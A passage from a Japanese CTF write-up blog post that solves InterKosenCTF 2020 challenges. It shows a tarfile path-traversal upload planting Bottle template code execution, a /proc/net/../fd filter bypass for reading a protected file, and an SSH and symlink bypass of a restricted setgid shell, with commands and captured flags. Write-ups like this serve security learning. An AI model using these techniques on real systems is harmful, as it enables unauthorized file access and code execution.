色の設定をしているところは一箇所しか見当たらず、ASCII範囲外。// /*09 20 004E*/ 6384761とかの末尾の数字を16進数に変換したらそれっぽい文字列になった。

KosenCTF{Let's_play_a_game_other_than_CTF}

miniblog (web)

Python製ブログ。Bottleのテンプレートも書き換えられるものの、悪いことができそうなものは弾かれる。

添付ファイルはtarで固めてアップロードなので、ディレクトリトラバーサルができそうだけど、2014年に指摘されていて直ってい……なかった。

課題 21109: tarfile: Traversal attack vulnerability - Python tracker

自分でtarファイルの中のファイル名を書き換えてもエラーになるので、これを使った。

$ python path_traversal_archiver.py template tar.tar -l 1 -p ""
Creating archive tar.tar
[+] Adding ../template
<%
import os
x = os.listdir("../")
%>
 :
{{x}}

を含めたテンプレートを表示すると、

['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']
{{open("../unpredicable_name_flag").read()}}

でフラグが得られる。

KosenCTF{u_saw_th3_zip51ip_in_the_53CC0N_Beginn3r5_didn7?}

readme (misc)

server.py
# assert the flag exists
try:
    flag = open("flag.txt", "rb")
except:
    print("[-] Report this bug to the admin.")

# help yourself :)
path = input("> ")
if 'flag.txt' in path:
    print("[-] Nope :(")
elif 'self' in path:
    print("[-] No more procfs trick :(")
elif 'dev' in path:
    print("[-] Don't touch it :(")
else:
    try:
        f = open(path, "rb")
        print(f.read(0x100))
    except:
        print("[-] Error")

No more procfs trick :(

何とかならないかと手元のマシンの/procを見てみたら、使えそうなファイルがあった。

$ ls -al /proc
 :
lrwxrwxrwx  1 root   root      0 Sep  5 22:44 net -> self/net
 :
$ nc misc.kosenctf.com 9712
> /proc/net/../fd/6
b'KosenCTF{fd_1s_l1nk3d_2_7h3_4c7u4l_f1l3p4th}\n'

KosenCTF{fd_1s_l1nk3d_2_7h3_4c7u4l_f1l3p4th}

pash (misc, pwn)

これも複数ジャンル。

$ ssh pwn@pwn.kosenctf.com -p9022
pwn@pwn.kosenctf.com's password:
Last login: Sun Sep  6 15:32:30 2020 from 118.241.182.251
***** PASH - Partial Admin SHell *****
  __      _  ,---------------------.
o'')}____// <' Only few commands   |
 `_/      )  |      are available. |
 (_(_/-(_/   '---------------------'

(admin)$ ls -al
total 424K
dr-xr-x--- 1 root pwn   4.0K Sep  3 16:04 .
drwxr-xr-x 1 root root  4.0K Sep  3 16:04 ..
-rw-r--r-- 1 root pwn     61 Sep  3 16:04 .bash_profile
-r--r----- 1 root admin   49 Sep  3 14:49 flag.txt
-r-xr-sr-x 1 root admin 403K Sep  3 14:49 pash
-rw-rw-r-- 1 root pwn   2.4K Sep  3 14:49 pash.rs
(admin)$ ls -al /
total 424K
dr-xr-x--- 1 root pwn   4.0K Sep  3 16:04 .
drwxr-xr-x 1 root root  4.0K Sep  3 16:04 ..
-rw-r--r-- 1 root pwn     61 Sep  3 16:04 .bash_profile
-r--r----- 1 root admin   49 Sep  3 14:49 flag.txt
-r-xr-sr-x 1 root admin 403K Sep  3 14:49 pash
-rw-rw-r-- 1 root pwn   2.4K Sep  3 14:49 pash.rs
(admin)$ cat .bash_profile
trap 'kill -9 $PPID' INT
mesg n
/home/pwn/pash
kill -9 $PPID
(admin)$ cat flag.txt
ฅ^•ﻌ•^ฅ < RESTRICTED!

SSHで繋ぐとpashが起動し、こいつがlsのディレクトリの指定は消すし、catflag.txtは弾くし、実質何もできない。あれ、コンテスト中はソースコード(pash.rs)が「ファイルが壊れている」みたいな文章だけだったのに、今は見られる。コンテストが終わったから? 誰かの妨害だったのか?

SSHにコマンドを付けて実行すれば、pashを回避して好きなコマンドを実行できる。でも、flag.txtは権限が無いので、suidが付いているpash経由で無いとダメ。pashはflag.txtだけを弾いているので、シンボリックリンクで別の名前で見せれば良い。

$ ssh pwn@pwn.kosenctf.com -p9022 mkdir /tmp/kusano
pwn@pwn.kosenctf.com's password:
$ ssh pwn@pwn.kosenctf.com -p9022 ln -s /home/pwn/flag.txt /tmp/kusano/aaa.txt
pwn@pwn.kosenctf.com's password:
$ ssh pwn@pwn.kosenctf.com -p9022 "cd /tmp/kusano/; /home/pwn/pash"
pwn@pwn.kosenctf.com's password:
***** PASH - Partial Admin SHell *****
  __      _  ,---------------------.
o'')}____// <' Only few commands   |
 `_/      )  |      are available. |
 (_(_/-(_/   '---------------------'

(admin)$ cat aaa.txt
KosenCTF{d1d_u_n0t1c3_th3r3_3x1sts_2_s0lut10ns?}
(admin)$ exit
$ ssh pwn@pwn.kosenctf.com -p9022 rm -rf /tmp/kusano/
pwn@pwn.kosenctf.com's password:

もう1個の解法って何だろう?

KosenCTF{d1d_u_n0t1c3_th3r3_3x1sts_2_s0lut10ns?}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0